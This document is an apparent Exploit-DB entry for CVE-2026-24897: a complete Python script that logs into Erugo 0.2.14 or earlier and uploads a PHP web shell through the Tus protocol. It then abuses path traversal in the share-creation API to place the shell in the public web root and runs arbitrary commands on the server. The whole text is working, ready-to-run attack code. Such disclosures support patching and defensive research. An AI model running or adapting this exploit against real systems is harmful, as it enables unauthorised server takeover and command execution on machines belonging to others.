📄 Erugo 0.2.14 Remote Code Execution

# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
    # Date: 2026-02-02
    # Exploit Author: Abdul Moiz
    # Vendor Homepage: https://github.com/ErugoOSS/Erugo
    # Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
    # Version: <= 0.2.14
    # Tested on: Linux (Docker)
    # CVE: CVE-2026-24897
    
    import requests
    import json
    import sys
    import time
    import base64
    import argparse
    import random
    import string
    import warnings
    from datetime import datetime, timedelta, timezone
    
    # Disable SSL & Deprecation Warnings for clean output
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=DeprecationWarning) 
    
    class ErugoExploit:
        def __init__(self, target, username, password):
            self.target = target.rstrip("/")
            self.username = username
            self.password = password
            self.session = requests.Session()
            
            # Standard Headers
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Exploit-DB)",
                "Accept": "application/json",
                "Tus-Resumable": "1.0.0"
            })
    
            # Generate a random 8-char filename to prevent collisions
            rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            self.shell_name = f"{rand_str}.php"
            self.shell_content = '<?php system($_GET["cmd"]); ?>'
    
        def get_csrf(self):
            """Initialize session cookies"""
            print("[*] Initializing session...")
            try:
                self.session.get(f"{self.target}/login", verify=False, timeout=10)
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                sys.exit(1)
    
        def login(self):
            print(f"[*] Authenticating as {self.username}...")
            url = f"{self.target}/api/auth/login"
            data = {"email": self.username, "password": self.password}
            
            try:
                r = self.session.post(url, json=data, verify=False, timeout=10)
                if r.status_code == 200:
                    token = r.json().get("data", {}).get("access_token")
                    if token:
                        self.session.headers.update({"Authorization": f"Bearer {token}"})
                        print("[+] Login Successful.")
                        return True
            except Exception as e:
                pass
                
            print("[-] Login Failed. Check credentials.")
            sys.exit(1)
    
        def upload_payload(self):
            print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
            
            # 1. Tus Creation (POST)
            post_url = f"{self.target}/files/"
            
            # Base64 Encode metadata
            filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
            filetype_b64 = base64.b64encode(b"application/x-php").decode()
            
            headers = {
                "Upload-Length": str(len(self.shell_content)),
                "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
            }
            
            try:
                r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
                if r.status_code != 201:
                    print(f"[-] Tus creation failed. Status: {r.status_code}")
                    sys.exit(1)
                    
                location = r.headers.get("Location")
                file_id = location.split("/")[-1]
                
                # 2. Tus Data Transfer (PATCH)
                patch_headers = {
                    "Content-Type": "application/offset+octet-stream",
                    "Upload-Offset": "0"
                }
                
                r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
                
                if r.status_code == 204:
                    print(f"[+] Payload uploaded. ID: {file_id}")
                    return file_id
                else:
                    print(f"[-] Data upload failed. Status: {r.status_code}")
                    sys.exit(1)
                    
            except Exception as e:
                print(f"[-] Upload error: {e}")
                sys.exit(1)
    
        def trigger_path_traversal(self, file_id):
            print("[*] Creating malicious share...")
            url = f"{self.target}/api/uploads/create-share-from-uploads"
            
            # Fix Date Warning: Use timezone-aware UTC
            tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
            expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")
    
            payload = {
                "upload_id": "exploit", 
                "name": "exploit_share",
                "recipients": [],
                "uploadIds": [file_id],
                "filePaths": {
                     # VULNERABILITY: Path Traversal
                     file_id: f"../../../../../public/{self.shell_name}"
                },
                "expiry_date": expiry,
                "password": "", 
                "password_confirm": ""
            }
            
            try:
                r = self.session.post(url, json=payload, verify=False, timeout=10)
                if r.status_code not in [200, 201]:
                    print(f"[-] Share creation failed. Status: {r.status_code}")
                    print(f"    Response: {r.text}")
                    sys.exit(1)
                print("[+] Malicious share created.")
            except Exception as e:
                print(f"[-] Error creating share: {e}")
                sys.exit(1)
    
        def execute_command(self, cmd):
            shell_url = f"{self.target}/{self.shell_name}"
            print(f"[*] Executing command: '{cmd}' at {shell_url}")
            
            time.sleep(1) # Wait for filesystem sync
            
            try:
                r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
                
                if r.status_code == 200:
                    print("\n" + "="*50)
                    print(f"COMMAND OUTPUT:")
                    print(r.text.strip())
                    print("="*50 + "\n")
                else:
                    print(f"[-] Command failed. Status: {r.status_code}")
            except Exception as e:
                print(f"[-] Execution error: {e}")
    
    def main():
        parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
        parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
        parser.add_argument('-u', '--username', required=True, help='User email')
        parser.add_argument('-p', '--password', required=True, help='User password')
        parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
        
        args = parser.parse_args()
        
        exploit = ErugoExploit(args.target, args.username, args.password)
        
        exploit.get_csrf()
        exploit.login()
        fid = exploit.upload_payload()
        exploit.trigger_path_traversal(fid)
        exploit.execute_command(args.command)
    
    if __name__ == "__main__":
        main()